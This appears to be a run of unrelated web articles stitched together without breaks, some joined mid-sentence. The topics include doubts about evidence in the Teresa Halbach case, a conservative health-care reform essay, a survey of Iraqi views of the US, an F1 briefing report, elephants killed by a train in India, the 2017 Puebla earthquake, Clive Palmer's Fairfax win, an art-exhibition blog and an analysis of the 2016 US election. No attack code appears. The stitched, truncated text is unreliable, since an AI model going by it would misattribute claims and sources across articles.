"Obviously it appears to be very incriminating, but what is going on with this evidence?
"Why weren’t protocols followed?
"No coroner, forensic anthropologist, arson investigator or photographer was called to the scene when the evidence was discovered.
Read more:
"They had all of these high paid experts at their disposal and didn’t call on them until after the evidence had been shoveled up and taken to the sheriff’s office.
"The DNA evidence described above is not conclusive.
"How is it even possible for tissue to survive a fire that disintegrated 60% of the bone mass?
"The teeth which are commonly used to identify a body because they outlast bone didn’t even survive the fire.
(Image: ID)
"Something’s wrong and it becomes difficult to accept this evidence as presented."
According to Lynne, lab analyst Sherry Culhane issued a report on December 2005 stating that a partial profile was obtained from a charred piece of tissue and that seven of sixteen markers matched Teresa’s standard profile.
She added: "The absence of a chain of custody of the bones is critical because it could very well have rendered it inadmissible. What happened?
(Image: Netflix)
"They brought in the state officials right away to ensure that everything would be properly handled. Who dropped the ball? It is very suspicious given everything else that happened in this case.
"Since the scene wasn’t documented, there is no proof that any bones were ever on the Avery property.
(Image: State of Wisconsin)
"As well, the Manitowoc County coroner was forbidden from entering the scene and none of the forensic experts were summoned until after the bones had been removed.
"We are to simply accept the word of the state witnesses who claimed to see the bones."
Making a Murderer: Police search the Avery Salvage Yard for Teresa HalbachSenate Republicans have fallen short in their first attempt to attract 50 votes for their health care bill. Small wonder. The Better Care Reconciliation Act, as it is called, is remarkable in many ways, but perhaps most remarkably of all, it fails to draw on a large body of constructive conservative ideas about what real health care reform should look like. As a result, it fails to fix the flaws of Obamacare that conservatives most often complain about.
Now the Senate’s Republican leaders have a second chance. Instead of more secret meetings and backroom deals, they could use the extra two weeks they’ve given themselves in August to hold hearings on health care reform. If they did so, they would have a chance to hear day after day of testimony from conservative scholars and policymakers on serious proposals for improving the US health care system. Here are some key points that testimony would make, if it had a chance to be heard.
Some of that testimony would focus on the top end of the spending curve. As the chart below shows (based on data from the National Institute for Health Care Management Foundation), just 1 percent of the population accounts for 20 percent of all personal health care spending, and the top 5 percent of population for half of all spending. Many people in that range suffer from one or more chronic conditions like diabetes, kidney failure, or AIDS that require expensive treatment year after year. Their medical needs are literally uninsurable by traditional standards. They are not just at high risk of needing care; they are certain to need it. And even if an insurer could be persuaded to cover them, an actuarially fair premium would exceed the annual income of all but the very wealthiest among the chronically ill.
Preserving coverage for people with preexisting conditions is popular among both liberal and conservative voters. A recent poll from Politico showed that only 42 percent of Republicans favored allowing states to opt out of a requirement to cover people with such conditions.
Conservatives policy experts have made some very reasonable proposals for dealing with those at the top of the cost curve. One of the most attractive is universal catastrophic coverage, or UCC for short. UCC would cover the top-of-the-curve health care needs of all Americans, subject to a deductible that limited out-of-pocket expenses to a substantial, but not impossibly high, percentage of their income.
Universal catastrophic coverage has an impeccable conservative pedigree. It was proposed back in the 1970s by Martin Feldstein, who would go on to serve as Ronald Reagan’s chief economic adviser. In 2004, Milton Friedman, then a fellow at the Hoover Institution, endorsed the concept. An up-to-date version, specifically designed to address the problems of the ACA, is outlined by Kip Hagopian and Dana Goldman in National Affairs.
What a universal catastrophic coverage plan might look like
The exact parameters of the program would be subject to negotiation, of course, but let’s sketch some possibilities, for the sake of discussion. Suppose the deductible is set at 10 percent of the amount by which a household’s income exceeds the Medicaid eligibility level, now about $40,000 for a family of four. Under that formula, a middle-class family earning $85,000 a year would face a deductible of $4,500 per family member, with a cap of twice that amount for households of more than two people. By the same formula, the deductible for a household with $1 million of income would be $96,000.
The high-deductible policy might be provided directly by the government, as an extension of Medicare. Alternatively, following the Swiss example, people could choose among private insurers offering policies meeting the program’s standards. In that case, UCC would resemble an expanded version of Medicare Advantage — originally a Republican idea but one that now enjoys bipartisan support.
People could choose among several ways to meet their out-of-pocket costs. As you can see from the examples above, for middle-class families, out-of-pocket costs would be comparable to those now faced under individual policies purchased on ACA exchanges, while for high-income families they would be substantially higher.
One option for meeting those costs would be to buy supplemental insurance to cover all or part of the UCC deductible. Such supplemental coverage would cost far less than policies now sold in the market for individual insurance, since the UCC deductible would set an automatic ceiling on claims for which the insurer would be responsible. Alternatively, consumers could pay out-of-pocket expenses from funds accumulated in a tax-deductible health savings account — yet another conservative idea, and one that is already on the books.
Very likely, many middle-income families would decide simply to cover all of their routine health care costs out of pocket. After all, as the chart shows, the healthiest 50 percent of the population accounts for less than 3 percent of all personal health care spending, and the next 20 percent of the population for only another 7 percent of spending. People on the bottom half of the spending curve could reasonably pay their routine health care costs in cash, just as they now pay for oil changes or wiper blades for their cars. (After all, no one assumes that automobile insurance covers routine maintenance.)
How to remove one costly distorter of the health insurance market
Fiscal conservatives might, quite properly, ask how UCC could be financed. A large chunk of it could be paid for with another proposal favored by many on the political right — abolishing the tax deductibility of employer-sponsored insurance (ESI), which currently costs the federal budget an estimated $235 billion per year. That oddity of the US health care system is a holdover from World War II, when employers lavished in-kind benefits on scarce workers to evade wartime wage controls. Both its liberal and conservative critics say it is long overdue for repeal.
Liberals object to ESI because it’s inequitable. Suppose the cost of health insurance to your employer is $10,000 per employee. If that were taxed as ordinary income, you would pay more tax — but how much depends on your tax bracket. If your taxable income is $200,000 a year, putting you in the 33 percent bracket, the exclusion saves you $3,300 annually. At $35,000 a year, placing you the 15 percent bracket, the exclusion saves you just $1,500. The inequity is even greater for minimum wage workers.
That’s because higher-paid workers (or their unions) often negotiate compensation packages that take advantage of the tax deduction by slowing the growth of cash wages while increasing the share of health benefits. However, for workers who are already at the minimum wage, there is no room for negotiation. Wages for such workers cannot be cut (and they must rise when the legal minimum increases). As a result, the entire cost of employer-sponsored insurance falls on employers. That is one reason minimum wage jobs are less likely to include health benefits.
Conservatives have other objections. For one, ESI imposes disproportionately large administrative burdens on small businesses, which, unlike large corporations, cannot afford to self-insure. And ESI produces job lock. Workers who have jobs with good insurance fear to leave them for jobs elsewhere that would make better use of their skills but might not have the same health benefits. Quitting a job with ESI to work as an independent contractor or start a small business of one’s own is even riskier.
The BCRA, like the House bill, takes a baby step in the right direction by lifting the employer mandate that makes ESI compulsory for businesses with 50 or more workers. However, as long as the tax preference remains in place, workers and many employers still have an incentive to stick with ESI, shifting part of its cost to other taxpayers, low-wage workers, the self-employed, and would-be entrepreneurs.
And what about the poor? Liberal critics look at the way the BCRA slashes Medicaid and conclude that Republicans simply don’t care whether the poor have access to health care or not. Maybe that is true for some, but not all. Medicaid is simply not the only way to provide health care for people with low incomes.
For the poor, an alternative to Medicaid
For example, the Hagopian-Goldman variant of universal catastrophic coverage could be implemented in a way that would render Medicaid unnecessary. Suppose, as in our earlier example, the UCC deductible is set at 10 percent of the amount by which household income exceeds $40,000, roughly the Medicaid threshold for a family of four. The deductible for families below the threshold would therefore fall to zero. These families would get “first dollar” coverage from their UCC policy, so there would be no need for Medicaid as a separate program. (Such a scheme would also increase work incentives for low-income households, who would no longer have to worry that extra earnings would cause them to lose Medicaid benefits.)
We haven’t even touched yet on measures to control cost. As everyone knows, medical services, from cancer drugs to bags of saline solution to hospital stays, cost more in the United States than anywhere else. Conservative policy experts have many ideas for cutting costs without cutting quality of service.
Encouraging greater price transparency is one such idea. As a report from the Commonwealth Fund demonstrates in detail, health care is unlike any other market. Patients rarely know what they'll pay for services until they've received them; health care providers bill different payers different prices for the same services; and privately insured patients pay more to subsidize the shortfalls left by uninsured patients. Prices for the same service vary widely, even though there is little evidence that higher prices are linked to higher quality. Already, some 30 states have policies to encourage more transparent pricing, although those policies are not uniformly effective. Recently, Reps. Michael Burgess (R-TX) and Gene Green (D-TX) introduced legislation at the federal level to promote greater price transparency.
There is some evidence that consumers have not always made use of health care price information even when it has been available. That is understandable at a time when most people received coverage through their employers that had only modest deductibles and copays. But it seems already to be changing as employers impose greater out-of-pocket costs on ESI beneficiaries. A system that introduced universal catastrophic coverage and replaced ESI with individual tax credits and health savings accounts would encourage greater use of comparative price information if it were available.
Transparency is not the only cost-saving reform backed by conservatives. They also favor more competition among hospitals and physician groups, tort reform to control the high cost of malpractice insurance, the option for small businesses to form groups to buy health insurance, and more. Often conservative cost-cutting ideas are the same as those advanced by liberals. Last year, polar opposites Sens. Ted Cruz and Bernie Sanders co-sponsored a bill that would have allowed Americans to import cheaper drugs from Canada. Why were none of these ideas included in the BRCA, or even openly discussed as the bill was being formulated?
None of these reforms is a magic bullet. Even among conservatives, each has critics as well as supporters. Liberal reformers have ideas of their own that many people like even better, ranging from sweeping measures like Sanders’s Medicare-for-all to small tweaks in procedures for approving new drugs. Still, these are serious proposals with backing from reputable scholars and policymakers.
The scandal is that the secretive process by which the BCRA was drafted did not even consider them. Really, is it too harsh to say that the Better Care Reconciliation Act is not about better care at all?
Ed Dolan is a senior fellow at the Niskanen Center.
The Big Idea is Vox’s home for smart discussion of the most important issues and ideas in politics, science, and culture — typically by outside contributors. If you have an idea for a piece, pitch us at thebigidea@vox.com.On Thursday, ABC News reported a stunning State Department poll, taken in October and November 2015, that revealed 40 percent of Iraqis believe the United States is deliberately trying to “destabilize Iraq and control its natural resources,” while up to one-third of the country believes the U.S. “supports terrorism in general, or ISIS specifically.”
One of the goals of the State Department survey was to determine “how well the U.S. Embassy in Baghdad was implementing the sixth of nine directives from the Obama White House’s strategy to counter ISIS, namely, ‘Exposing [ISIS’s] True Nature.'”
The State Department concluded Iraqis are “keenly aware of the Islamic State’s true nature,” and nearly all have “unfavorable views of ISIS and oppose its goals and tactics, with no significant variation across religious sects and ethnic groups.”
Iraqi’s opinion of the United States is not much better, however, and it has been plunging in recent months, with America’s favorable rating falling from 38 percent to 18 percent between December 2014 and August 2015. The State Department report says that half of Iraqis, both Sunni and Shia Muslims alike, are now “completely opposed” to the U.S.-led coalition against ISIS.
The report blames these low approval ratings on anti-American conspiracy theories popular in Iraq, some of which have a secular dimension: the Shiites think American support for the out-of-power Sunni populace in Iraq is tantamount to support for Sunni ISIS, while others think America created ISIS as a pretext for keeping its forces in Iraq.
Apparently those conspiracy theorists were not impressed by President Obama ostentatiously pulling American troops out of Iraq, paving the way for the Islamic State to roll in from Syria, and they have not heard his constant insistence that ISIS has absolutely nothing whatsoever to do with any strain of Islam. It is strange that so many Muslims in Iraq seem to think Islam is highly pertinent to the Islamic State crisis.
Another sectarian aspect of the situation was observed by Pentagon spokesman Colonel Steve Warren, who blamed “Iranian-backed Shiite militias” for “pushing this line of propaganda.”
As Washington Institute researcher Phillip Smyth elaborated, Iran has been working for over a decade to push conspiracy theories that “the U.S. is behind the growth of extremist Sunni jihadis that go out and kill other Muslims.”
Small wonder that an administration religiously devoted to the talking point that religion has nothing to do with terrorism was completely blindsided by all of this.
The State Department tried to put a positive spin on its findings by noting the survey data predates a recent string of ISIS defeats in Iraq, especially the liberation of Ramadi, so hopefully those conspiracy theories will become a little less popular.
The ABC report cites Iraqis making precisely this argument and notes Iran’s pot-stirrers get a lot of mileage from reports of errant American supply drops landing in the hands of Islamic State militants.
Iraq’s ambassador to the United States, Lukman Faily, complained that “when some Americans publicly mock Iraqi troops, question their will to fight, and use derogatory terms like ‘Shia militia’ to describe volunteer fighters, it only fuels the perception that the U.S. is not on their side.”
The ABC report includes several laments about the ingratitude of the Iraqi people, after the vast amount of blood and treasure the United States has invested in their country. Such complaints were heard during the Bush administration, too.
Also, only a Western bureaucrat would try to argue with public disapproval by citing the amount of money spent on a project. The price tag does not matter when the results are so manifestly disastrous that wild conspiracy theories sound plausible to the Iraq people, even though they are among the primary victims of the rolling horror we are trying to help them fight.Lewis Hamilton played an unusually forceful role earlier this weekend in the drivers\' FIA briefing, according to a Spanish newspaper.According to Diario AS, the meeting with Charlie Whiting was anyth
Lewis Hamilton played an unusually forceful role earlier this weekend in the drivers' FIA briefing, according to a Spanish newspaper.
According to Diario AS, the meeting with Charlie Whiting was anything but routine in Malaysia as the reigning world champion demanded to know more about Fernando Alonso's mysterious Barcelona testing crash.
Earlier, Spaniard Alonso had utterly muddied the waters during the Thursday press conference by contradicting all of the fundamental elements of McLaren's official story about why he crashed five weeks ago.
"I want to know what happened to Alonso," Hamilton reportedly demanded of Whiting.
AS said Whiting's reply was that the FIA is preparing a report on the incident, while Alonso himself has already given his detailed account of the episode to the press.
McLaren, meanwhile, has detailed its findings in a 37-page report, it is understood.
The Spanish newspaper said Alonso did not speak about the issue during the briefing, and nor did any other driver |
one calf instantly
Another died later from its injuries
Four elephants have been killed after they became trapped on a railway line and were hit by a speeding train.
The elephants were part of a herd crossing the railroad tracks in eastern India when the express passenger train ploughed into them.
Two adult female elephants and one calf were killed at the scene while another died later from its injuries.
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Horrific: Four elephants were killed when a herd crossing railroad tracks in eastern India was hit by an express passenger train
Sad: Villagers attempted to join in the rescue effort but could not save the two adult female elephants and one calf which died at the scene. Another died later from its injuries
They were hit by the Mahananda Express Passenger train early today in Jalpaiguri district, nearly 400 miles east of Kolkata, the capital of West Bengal state.
The track, which connects Siliguri to Assam, was closed down for several hours after the collision, as other elephants were guarding the dead and injured animals.
Nearby villagers attempted to join in the rescue effort but could not save the two adult female elephants and one calf which died at the scene.
A crane was even needed to remove the carcass of one of the elephants.
Awful: A crane removes the carcass of a female elephant near Banarhat village, in the eastern Indian state of West Bengal. The track was closed down for several hours after the collision
Campaign: Activists have called for trains to lower their speeds through areas populated with elephants
Railway spokesman Jayant Sharma said the accident site was outside the state's elephant corridor and there was no warning from the forest department about the movement of the elephants.
Dozens of elephants have died in recent years in such accidents as trains run through national parks and forests. Activists have called for trains to lower their speeds through such areas.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2017 January 26
GOES-16: Moon over Planet Earth
Image Credit: NOAA, NASA
Explanation: Launched last November 19 from Cape Canaveral Air Force Station, the satellite now known as GOES-16 can now observe planet Earth from a geostationary orbit 22,300 miles above the equator. Its Advanced Baseline Imager captured this contrasting view of Earth and a gibbous Moon on January 15. The stark and airless Moon is not really the focus of GOES-16, though. Capable of providing a high resolution full disk image of Earth every 15 minutes in 16 spectral channels, the new generation satellite's instrumentation is geared to provide sharper, more detailed views of Earth's dynamic weather systems and enable more accurate weather forecasting. Like previous GOES weather satellites, GOES-16 will use the moon over our fair planet as a calibration target.By David Jacobson, Temblor and Professor Shinji Toda, IRIDeS, Tohoku University, Japan
See earthquakes in Mexico
Click for an earthquake update
Click for Spanish version
At 1:14 p.m. local time, a M=7.1 earthquake struck just south of Puebla, Mexico, and 120 km from Mexico City, where almost 9 million people reside. From the initial USGS ShakeMap, severe shaking was felt close to the epicenter, while in Mexico City, they would have experienced moderate to strong shaking, enough to cause significant damage. Ironically, this earthquake comes on the 32nd anniversary of a deadly M=8.0 earthquake in Mexico City which killed over 5,000 people and caused billions in damage. Furthermore, as an observance to the anniversary, several buildings held earthquake drills earlier in the day. Unlike today’s quake, which struck southeast of the city, that earthquake was centered over 350 km to the southwest of the capital.
Based on reports and photos, we know that at least 42 people are confirmed to have died, and buildings have collapsed in Mexico City. The USGS PAGER system estimates that economic losses could reach $1 billion, with up to 1,000 fatalities. This deadly quake comes less than 2 weeks after a M=8.1 earthquake shook the Chiapas region to the southeast. While the magnitude of that quake was significantly larger than today’s, shaking in Mexico City was greater today, given the proximity of the epicenter to the city.
Despite the fact that just offshore of Mexico is the Middle America Trench, where the Cocos plate subducts beneath the North American plate at a rate of approximately 76 mm/yr, today’s event, like the earthquake on Sept 7, was extensional in nature. Depending on the subduction model used, today’s earthquake could have either been within the subducting Cocos plate (Franco et al., 2005), or the overriding North American plate (Hayes et al., 2012). This difference is a matter of how much the dip of the subducting slab shallows. Professor Shinji Toda at IRIDeS, Tohoku University, Japan, says that while intraslab earthquakes are typically not as destructive as subduction zone events, their sources are totally invisible and are thus extremely unpredictable. Additionally, he suggests that while inland Mexico is dominated by subduction megathrust events and onshore active faults, a flattened slab layer could be a third source of large earthquakes.
From the focal mechanism and location of today’s event, it may have struck within the Trans-Mexican Volcanic Belt. While this chain of active volcanoes is the product of subduction at the Middle America Trench, there is regional extension. Throughout this volcanic belt, which runs across central Mexico, there are pronounced east-west-oriented extensional faults. Based on historical earthquakes, there is no known subduction zone seismicity below the Trans-Mexican Volcanic Belt (Suter et al., 2001). This means that any earthquake within this zone is likely to be extensional.
From the Global Earthquake Activity Rate (GEAR) model, which is available in Temblor, today’s M=7.1 earthquake just south of Mexico City can be considered surprising. This model uses global strain rates and the last 40 years of seismicity to forecast the likely earthquake magnitude in your lifetime anywhere on earth. From this model, which is shown below, one can see that in the location of today’s event, the likely magnitude is M=6.5-6.75. Having said that, in 1999, a M=7.0 earthquake struck just roughly 100 km to the east. That too was an extensional earthquake likely associated with the Trans-Mexican Volcanic Belt. As more information comes in on this earthquake, we will either update this blog, or post an entirely new one.
References
USGS
European-Mediterranean Seismological Centre
Max Suter, Margarita Lopez Martınez, Odranoel Quintero Legorreta, and Miguel Carrillo Martınez, Quaternary intra-arc extension in the central Trans-Mexican volcanic belt, GSA Bulletin; June 2001; v. 113; no. 6; p. 693–703
Franco et al., Propagation of the 2001-2002 silent earthquake and interplate coupling in the Oaxaca subduction zone, Mexico, Earth Planets and Space · October 2005Scientists from research institutes across Mumbai will take part in a rally, ‘March for Science’ on August 9 to protest against cuts in research funding.
The march will start from August Kranti Maidan at 4pm and end at Girgaum Chowpatty.
The March for Science movement started globally in April.
MC Arunan, who heads the Collaborative Undergraduate Biology Education at Homi Bhabha Research Center, will spearhead the rally in Mumbai. “There is a need to inculcate evidence-based science among young students,” said Arunan.
Another aim of the rally will be to urge the government to increase its budget for science and technology, which is currently 0.8% of GDP. So far, around 200 scientists across the city’s research institutes have signed up for the rally, Arunan said.
Abhijit Majumdar, assistant professor at IIT-B’s department of chemical engineering, said, “If there is an attack on science, the community needs to come together,” he said.
Dr Deepak Modi, a scientist at the National Institute of Research in Reproductive Biology, Parel, said the government needs to focus on fundamental science more than applied science.
First Published: Aug 03, 2017 01:14 ISTWASHINGTON — When you look at this year’s House races, roughly 40 races seem competitive, out of 435 House seats. Though they’re spread around the country, some states stand out.
California has arguably six seats in play, divided evenly between the two parties. Democratic Rep. Ami Bera, whose father was sentenced to a year in prison because of election fraud, faces perhaps the toughest fight in his evenly divided Sacramento-area district.
New York has five seats in contention, from the eastern tip of Long Island to the central part of the state. Four are held by Republicans, including two lawmakers who are retiring.
Thanks to redistricting, most of Florida’s 27 congressional districts were redrawn and there are competitive races in at least four.
Overwhelmingly Republican Texas, Utah and Nebraska each have a freshman facing a tight re-election fight: Republican Reps. Will Hurd in west Texas and Mia Love from Salt Lake City’s suburbs, and Omaha-area Democrat Brad Ashford.
Ticket splitting?
Many GOP or independent voters unhappy with Republican presidential candidate Donald Trump could decide to skip voting entirely in November. But would House Republicans draw votes from such people if they vote for Democrat Hillary Clinton?
With the intensifying partisan climate of recent years, voters have shown less willingness to split their vote between presidential and congressional candidates of different parties.
Polling from American National Election Studies, run by the University of Michigan and Stanford University, finds just 10 percent of voters said they split their vote in 2012. That was down from 25 percent in 1988.
Presidential and House candidates of opposing parties prevailed in just 6 percent of congressional districts in 2012, down from 34 percent in 1988, according to data from the Brookings Institution and the American Enterprise Institute.
Trump could break that trend. But both sets of figures suggest people backing Clinton would be unlikely to support a House GOP candidate.Memories that unfortunately last a lifetime: A collection of the most embarrassing school photos ever
If school days are supposed to be amongst the happiest of your life then why do so many kids look so awkward in their yearbook photos?
Few of us can claim to having been looking our best during our teenage years and these kids are no exception.
Adolescence is a tough time for any young person... growing pains, still figuring out who you are, maybe taking a little time to grow into your features.
Unfortunately it's also a time when the photographer regularly pays a visit to school providing countless opportunities to document passing fads and fashion faux pas.
Embarrassing pictures often have a habit of surfacing years later, at somewhere like AwkwardFamilyPhotos.com, when hopefully you’ve outgrown your passion for posing with a ventriloquist dummy like the young man in one of this bizarre selection of photos.
If you recognize any of these people please be kind to them it’s clear from this photographic evidence they suffered trauma in their youth, but hopefully they're in a better place today.
Daddy's special little girl... probably a confirmed spinster to this day IT guy: This geek went on to make a fortune in Silicon Valley
Not long after this photo her hairdresser was arrested for crimes against humanity
The final frontier: This young man is probably still upset that we're not living on the moon yet
I have to dance: This guy is performing somewhere in a one man show that shows off his unique freestyle moves
Leader of the old skool: I wonder if this his young lady still manages to get her swag on?
One hopes this young man was able to pursue his love of fire safety in later life
Star of the show: Some people are just naturals in front of the camera
Snake charmer: This young man either works in a zoo now or designs his range of reptile-themed jewellery Killer smile: I hope this young lady continues to look after those precious teeth so well
All the star are out: The cruise ship cabaret circuit was calling for this young hopeful I don't know about you but I see a young Jimmy Fallon here
Napoleon dynamite: You just know this guy still spends his weekends reenacting classic civil war battles
An explosion of color: This guy dresses himself these days and only wears black as he recovers from this fashion faux pas Movie director or soccer star - this young man could have had it all Forehead to spare: I imagine this dude has kept the same hairdo 'cept now maybe there isn't as much on top Oh Jake! Where's pussy now? Probably in the large litter box in the sky Such a shame action ball didn't take off - the uniforms were so cool
Who's the dummy now? Stephen King called and he wants his 'look' backClive Palmer wins Sunshine Coast seat of Fairfax, says 'goodbye' Campbell Newman
Updated
Clive Palmer, declared the winner of the federal seat of Fairfax after a recount of votes was finalised yesterday, says one of his first priorities as an MP will be putting the spotlight on the Queensland government.
Mr Palmer, who won the Sunshine Coast seat with a final margin of 53 votes, condemned attacks by Premier Campbell Newman on the state's judiciary and said he would reveal evidence of corruption by the state's LNP government.
"My election to Parliament must sound an ominous warning to Campbell Newman and his cohorts," Mr Palmer told 7.30.
"The only separation of powers we want is Campbell Newman out of Parliament," he said, later adding: "Goodbye Campbell Newman."
The Palmer United Party leader's eventual victory in Fairfax was confirmed yesterday, with the Australian Electoral Commission set to make a formal announcement today.
It came after the AEC ordered a recount earlier this month after Mr Palmer finished seven votes ahead of the Liberal National Party's Ted O'Brien.
The result came as the AEC ordered an independent investigation into the loss of more than 1,300 ballots in the Senate recount in Western Australia.
The fate of Mr Palmer's senator-elect Zhenya Dio Wang and Labor's Louise Pratt hangs on the result of that recount.
But the AEC has confirmed that 1,375 votes which had initially been counted cannot be found.
'Underestimate Palmer at your peril'
Critics, including former Queensland premier Peter Beattie, have warned that the billionaire tycoon is not a man to be underestimated. Critics, including former Queensland premier Peter Beattie, have warned that the billionaire tycoon is not a man to be underestimated. Find out more
Mr Palmer claimed that the missing Senate votes proved the AEC was trying to rig the results of the federal election.
And he said that while he was pleased that the Fairfax recount had been finalised, the process had taken far too long, with too many mistakes.
"In my case in the seat of Fairfax, the first count I won by 36 votes, the second count I won by seven votes, and now I have won by 53 votes," he said.
"Now we know all those counts are not the same, so some of them must be wrong, so it does highlight the fact that our electoral system is not right."
He repeated his earlier claims that the electoral process was corrupt.
"Even though I won the seat, I don't think it's the right sort of process that Australians expect," he said.
"I have to look at the facts. It's a corrupt process, there's no doubt about that."
Mr Palmer said the AEC should look overseas for a better voting model.
"In the US, you have a punch card, you can go in to the computer and by 6:30pm you have got the result," he said.
"You haven't got to wait two months and spend millions of dollars of taxpayers' money which would be better spent on something else."
Fairfax is the final Lower House seat to be decided following September's federal election.
The full recount involved more than 89,000 ballot papers, with the final result showing Mr Palmer winning with 42,330 votes ahead of Mr O'Brien, with 42,277 votes.
Palmer's conflict of interest claims disputed
Meanwhile, the Federal Opposition has disputed suggestions by Mr Palmer that only Ministers can have a conflict of interest.
The magnate has dismissed the idea that he might be influenced by his business interests when voting on legislation.
"Well that's just rubbish of course," he says.
"As a Member of Parliament, you don't have a conflict of interest - only if you're a Minister. That's what the legal cases say."
However, Opposition frontbencher Anthony Albanese says that's wrong.
"Of course it is the case that when you are involved in public life you can have conflicts of interest, whether you are and MP or a minister," he says.
"So Mr Palmer's got to be cognisant of that fact."
Still, Mr Palmer will make an interesting addition to the House of Representatives, Mr Albanese says, adding that Prime Minister Tony Abbott was highly critical of Labor’s negotiations with the crossbench MPs during the minority parliament.
"I look forward to Tony Abbott's rhetoric about chaos and tails wagging dogs, because he's off negotiating with Clive Palmer in order to get legislation through," Mr Albanese said.
"He [Mr Abbott] might even have to talk to the Labor Party."
Topics: government-and-politics, maroochydore-4558, qld, australia
First postedXena at the Avantgarde vs. Fine Art exhibition in St. Andrä-Wördern. Four artists – Four genres – Four worlds: Xena Zellich, Arthur Poor, Lisi Deutsch and Dr. Anton Klein.
Photo credit: Xena Live Action Show
Xena's Photo Art "LOVE"
Photo: Claudio Z
Models: Xena and Viktor
Photo Art: Xena
Hi, on Valentine's day my girlfriend Xena and I had a special gig :)
We were together at the opening of the "Avantgarde vs. Fine Art" exhibition in St. Andrä-Wördern, where Xena presented her works as one of four artists.
Xena opened the exhibition in her genuine and awesome Warrior Princess outfit and I participated as her soulmate Gabrielle Hercules ;)
The exhibition featured photos from her theater project, as well as her newest photo art collection with me as her model?
Opening ceremony
Photo credit: Viki Secrets
Xena in the front row ;P
The exhibition was organized by Harald Vogt (photo left), who was also reading excerpts of Dr. Klein's poets. Anton Klein unfortunately did not make it to the opening. Photo middle: Xena Zellich and Vice Mayor of St. Andrä-Wördern Franz Semmler. Photo right: Portrait painter Lisi Deutsch.
Xena's Photo Art Exhibition
Photo credit: Viki Secrets
Xena's Photo Art "SABA"
Photo: Xena
Model: Xena
Photo Art: Xena
Photo credit: Viki Secrets
Xena's Photo Art "ANGEL"
Photo: Xena
Model: Viktor
Photo Art: Xena
Photo credit: Viki Secrets
Xena's Photo Art "BATSCH"
Photo: Xena
Model: Viktor
Picture in picture: Hell-O-Wien 666 exhibition
Photo credit: Viki Secrets
Xena's Photo Art "CRUCIFICATION"
Photo: vikisecrets.com
Model: Xena
Photo Art: Xena
Photo credit: Viki Secrets
Xena's Photo Art
"UNDRESSED IN THE JUNGLE" and "SUGAR CANE JUNGLE"
Photo: Xena
Model: Viktor
Photo Art: Xena
Photo credit: Viki Secrets
Lily LaRose in front of...
Xena's Photo Art "ARGO"
Photo: Mika Rmh-Foto
Model: Xena
Photo Art: Xena
Arthur Poor
Photo credit: Viki Secrets
The contemporary artist Arthur Poor presented his newest concept art collection, called Conjunctions. The building blocks of his artwork were three basic patterns and their by 90 degrees rotated images. The patterns, which by themselves were a conjunction of smaller elements, were then aligned in a grid forming each time a unique composition.
Lisi Deutsch
Portrait painter Lisi Deutsch presented her portrait collection and also a couple of decorative paintings like the one below.
Photo credit: Viki Secrets
Bernhard Pieschl next to a painting of Lisi Deutsch.
"Departure" (Aufbruch) by Lisi Deutsch. 80 x 100 cm acryl on canvas.
Xena and me
Photo credit: Viki Secrets | Bernhard Pieschl
From The Exhibition With Love...
What's your favorite art picture from the exhibition? Please contact me if you are interested in a limited Xena Photo Art edition.
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The Surreal Paintings Of Jolanda Richter
TECHNOSENSUAL Exhibition: The Playful DressesIn the past week, I’ve seen hundreds of pieces about why Donald Trump won and why Hillary Clinton lost. In the next few months, I’ll see thousands more. So do we have an answer yet?
Ha ha. Of course not. For the most part, people are just blaming all the stuff they already believed in. I recommend skipping those pieces entirely. I haven’t entirely made up my mind yet, but for the record, here’s how I’m currently feeling about all the usual suspects:
James Comey. Yeah, I think he made a big difference. Pretty much everyone on both sides agrees that support for Clinton shifted in response to Comey’s first letter and then again in response to his second letter. My guess is that his last minute intervention swayed the vote by about 2 percent. That’s not a lot, but in this election it was the difference between winning and losing.
Whitelash. In general, I’m unconvinced. White voters made up 72 percent of the electorate in 2012 and 70 percent in 2016. This doesn’t suggest that Trump motivated white voters to turn out in unprecedented numbers. Nor did white voters support Trump at a higher rate than they supported Romney. However, there’s more to this….
The white working class. Maybe. They did vote for Trump in greater numbers than they voted for Romney, but that merely extended a trend that’s decades old. The white working class has been getting steadily more Republican since Nixon, so it’s not clear if Trump accelerated this trend or merely benefited from it. It’s also possible that rural blue-collar whites had a substantial effect in a few key swing states (Pennsylvania, Michigan, Wisconsin) even if they didn’t have a big effect nationally. We need more data here.
Racism. This one is tricky. Obviously Trump appealed to white racism, but it’s not as if racism suddenly spiked in 2016. It’s about the same as it’s always been, and it’s hard to see in the data that it made a big difference compared to previous years. However, we did learn something new and disheartening: it didn’t make a difference. In 2012, 93 percent of Republicans voted for Romney. This year, 90 percent voted for Trump. It turns out that Republicans just don’t care about explicit appeals to racism and misogyny. You can be as openly bigoted as you want, and you’ll only lose 3 percent of the Republican vote.
Third parties. This doesn’t explain anything. Third-party candidates did double their vote share compared to 2012, but so what? Gary Johnson and Jill Stein were candidates in 2012 too. If they got more votes this year, it’s because the two major party candidates were less appealing than Obama and Romney—which is what we’re trying to explain in the first place.
The fundamentals. This probably had a bigger effect than it’s getting credit for. There are lots of models out there, but generally speaking they mostly suggested that 2016 was a very winnable year for Republicans. The economy was OK but not great; Democrats had been in office for eight years; and Obama’s approval rating was mediocre. Clinton was fighting a modestly uphill battle the whole way.
The media. I think the press played a significant role in Trump’s victory, though the evidence is all anecdotal. Two things were in play. First, Trump hacked cable news. He figured out that they’re basically in the entertainment business and will provide endless coverage to anyone who drives ratings. The more outrageous he was, the more coverage he got. Second, the media’s gullible willingness to cover Clinton’s email woes so relentlessly hurt her badly. It’s easy to say that Clinton has no one but herself to blame for this, and there’s something to that. Still, even long after they should have known better, the press reported every new development in breathless tones and 60-point headlines—even though, time after time, it turned out there was nothing there. They got played—and what’s worse, they got played by the same wide-ranging cast of Hillary haters that’s played them before.
Sexism. I don’t know. It obviously seems likely that it played a role, but I haven’t seen any real data to back it up.
Lousy turnout from Democrats. Maybe. It appears that voter turnout in general was down from 2012, but only slightly—and once all the votes are counted it might be dead even. In any case, turnout seems to have affected Democrats and Republicans about equally. We need more data before we can say much about this.
